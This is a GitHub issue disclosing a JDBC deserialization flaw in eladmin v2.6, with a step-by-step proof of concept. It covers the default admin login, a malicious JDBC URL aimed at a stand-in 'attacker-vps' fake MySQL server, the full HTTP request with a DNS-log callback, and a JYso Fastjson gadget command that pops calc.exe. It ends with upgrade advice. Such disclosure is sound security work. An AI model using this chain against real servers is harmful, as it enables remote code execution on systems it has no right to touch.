Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

The version of the MySQL connector used by eladmin v2.6 is outdated, which makes it vulnerable to JDBC deserialization attacks. #868

Open
2308652512 opened this issue Feb 9, 2025 · 1 comment

Comments

@2308652512
Copy link

I noticed that you upgraded the version of mysql-connector-java in your update two weeks ago, so this issue should not occur in the new version of eladmin. However, since the version of org.springframework.boot used in version 2.6 is 2.1.0.RELEASE, which has a default mysql-connector-java version of 8.0.13, it is still susceptible to JDBC deserialization security issues.

To deploy version 2.6 of eladmin, you can obtain the source code from the link below:
https://github.com/elunez/eladmin/blob/babebdee92cb3d1e799b081c3693b4ed079e73c3

Image

As shown in the figure below, the version of org.springframework.boot used in version 2.6 of eladmin is 2.1.0.RELEASE, which has a default mysql-connector-java version of 8.0.13.

Image

What security vulnerabilities could this lead to? Please take note of the following file:

\eladmin-system\src\main\java\me\zhengjie\modules\mnt\rest\DatabaseController.java

Please note that there is a functionality for connecting to the database here.

Image

Analyze the implementation of the testConnection() function.

Image

The testConnection() function of the SqlUtils class is called here, and all the parameters passed to this function are under our control.

Image

Finally, the getConnection() function will be called, which is a classic JDBC deserialization point.

Next, I will deploy eladmin locally. I am using Java 8 and a Windows system for testing.

Image

The backend source code can be downloaded from the following link:

https://github.com/elunez/eladmin/blob/babebdee92cb3d1e799b081c3693b4ed079e73c3

The frontend source code can be downloaded from here:

https://github.com/elunez/eladmin-web

Please ensure that both are properly deployed.

Log in to the system using the default username and password: admin and 123456.

Image

Access "运维管理-数据库管理",Click on "新增" button.
Image

Image

Next, we need to deploy a malicious MySQL service, which can be downloaded from the following link:

https://github.com/4ra1n/mysql-fake-server

Use the command java -jar fake-mysql-cli-0.0.4.jar to start this service.

Image

Assume this service is running on:
attacker-vps:3308

We construct the malicious JDBC connection string as follows:
jdbc:mysql://attacker-vps:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

Image

Then,click "测试"
Image

You can see the request below; this is our malicious request:

Image

`
POST /api/database/testConnect HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: application/json, text/plain, /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer your-jwt-token
Content-Length: 229
Origin: http://o69iay0p.hebyicai.com:8087
Connection: close
Referer: http://o69iay0p.hebyicai.com:8087/
Priority: u=0

{"id":null,"name":"1","jdbcUrl":"jdbc:mysql://attacker-vps:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor","userName":"deser_URLDNS_http://xxx.dnslog.cn","pwd":"1"}
`

As we can see, the URLDNS gadget has been successfully triggered, indicating that there is a deserialization vulnerability present here.
Image

Image

Next, we aim to achieve Remote Code Execution (RCE) through this deserialization vulnerability, noting that eladmin utilizes the Fastjson dependency.

Image

Therefore, we can use the JYso tool to generate Fastjson gadgets:

https://github.com/qi4L/JYso

java -jar JYso-1.3.3.jar -y -g Fastjson1 -p 'calc.exe' -b64

Image

Copy the payload generated by JYso above, and place it in a file named payload.txt in the root directory of the malicious MySQL server fake-mysql-cli-0.0.4.jar. Paste the payload generated by JYso into the payload.txt file.

Image

Use the following command to restart fake-mysql-cli-0.0.4.jar:

java -jar fake-mysql-cli-0.0.4.jar -f payload.txt

Then modify our malicious request:
Image
Image

Next, we can observe that calc.exe has popped up, which confirms that the Fastjson gadget has executed successfully, directly resulting in remote code execution.
Image

Users should avoid using version 2.6 of eladmin and upgrade to version 2.7 or the latest version as soon as possible.

@CFH-Steven
Copy link

CFH-Steven commented Feb 9, 2025 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants